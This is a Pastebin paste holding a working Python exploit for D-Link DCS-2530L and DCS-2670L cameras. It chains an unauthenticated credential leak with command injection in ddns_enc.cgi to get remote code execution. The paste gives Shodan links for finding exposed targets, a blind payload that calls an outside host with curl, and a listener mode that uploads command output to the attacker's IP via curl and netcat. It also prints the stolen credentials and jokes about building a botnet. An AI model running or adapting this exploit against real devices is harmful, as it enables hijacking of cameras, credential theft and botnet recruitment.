SHARE
    TWEET
    hollerith

    D-LINK 0day

    Jul 9th, 2020
    511
    0
    Never
    Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
    1. '''
    2. Usage:
    3. Copy the url straight from firefox. If you want to get a netcat listener you need netcat installed
    4. and the listening port specified within open obviously.
    5. Blind execution - python3 exploit.py http://1.2.3.4/ "curl http://pingb.in/p/xxxxxxxxxxxxxxxxxx"
    6. Netcat listener - python3 exploit.py http://1.2.3.4/ "cat /proc/cpuinfo" --listen
    7. Info:
    8. By chaining together an unauthenticated credential disclouse 0day in multiple
    9. Dlink DCS cameras with an authenticated command injection in ddns_enc.cgi - it
    10. is possible to gain RCE.
    11. Confirmed vulnerable:
    12. DCS-2530L, DCS-2670L
    13. https://www.shodan.io/search?query=DCS-2670L
    14. https://www.shodan.io/search?query=DCS-2530L
    15. Limitations:
    16. The length of the 'account' parameter is limited to 55 characters. Longer commands
    17. can be executed via piping characters with "echo -ne" to a .sh or downloading a .sh
    18. from another host.
    19. The payload will be executed every 5 seconds on the host while the payload in the account
    20. parameter is set. This exploit triies to auto terminate after 1 execution. Ajust timing if needed.
    21. Patch:
    22. Dlink has released an advisory for the DCS-2530L but no patch. Don't port forward the
    23. camera until one has been released.
    24. Don't be an ass. Don't brick other people's shit. I'm not responsible for anything lmfao - @dogonsecurity
    25. '''
    26. import requests, sys, argparse, time, os
    27. from time import sleep
    28. from requests import get
    29. from urllib3.exceptions import InsecureRequestWarning
    30. def getcreds(host):
    31. try:
    32. r = requests.get(host + "/config/getuser?index=0", verify=False, timeout=5)
    33. data = r.text.split("\n")
    34. credentials = []
    35. credentials.append(data[0].replace("name=", "").replace("\r", ""))
    36. credentials.append(data[1].replace("pass=", "").replace("\r", ""))
    37. return credentials
    38. except Exception as e:
    39. print(e)
    40. def execpayload(host, creds, payload):
    41. try:
    42. url = "/cgi-bin/ddns_enc.cgi?enable=1&hostname=qq&interval=24&servername=www.dlinkddns.com&provider=custom&account="
    43. endexec = "/cgi-bin/ddns_enc.cgi?enable=0&hostname=qq&interval=24&servername=www.dlinkddns.com&provider=custom&account=aaaa"
    44. # DEBUG print(payload)
    45. if not args.listen:
    46. payload = "{};{};".format(url,payload)
    47. r = requests.get(host + payload , auth=(creds[0], creds[1]), verify=False, timeout=5)
    48. print("Sent payload... Waiting for execution.")
    49. sleep(4)
    50. r = requests.get(host + endexec , auth=(creds[0], creds[1]), verify=False, timeout=5)
    51. print("Blind exploit complete. Did it work :)?")
    52. else:
    53. ourip = get('https://api.ipify.org').text
    54. ourport = 3 #Change if you need to
    55. payload = "{};{} >a;curl -XPUT {}:{} -T a;".format(url,payload,ourip,ourport)
    56. # DEBUG print(payload)
    57. r = requests.get(host + payload , auth=(creds[0], creds[1]), verify=False, timeout=5)
    58. print("Sent payload... Waiting for execution.")
    59. os.system("sudo nc -lvp 3 &")
    60. sleep(7)
    61. r = requests.get(host + endexec , auth=(creds[0], creds[1]), verify=False, timeout=5)
    62. os.system("sudo pkill -f nc")
    63. print("Listening exploit complete.")
    64. except Exception as e:
    65. print(e)
    66. print("Hoho is the future of botnet!!11!!")
    67. parser = argparse.ArgumentParser()
    68. parser.add_argument("target", help="target",type=str)
    69. parser.add_argument("payload", help="payload",type=str)
    70. parser.add_argument("--listen", action='store_true')
    71. args = parser.parse_args()
    72. requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
    73. creds = getcreds(args.target)
    74. print("Got credentials: " + str(creds))
    75. execpayload(args.target, creds, args.payload)
    Add Comment
    Please, Sign In to add comment
    Public Pastes
    We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
    Not a member of Pastebin yet?
    Sign Up, it unlocks many cool features!

    AltStyle によって変換されたページ (->オリジナル) /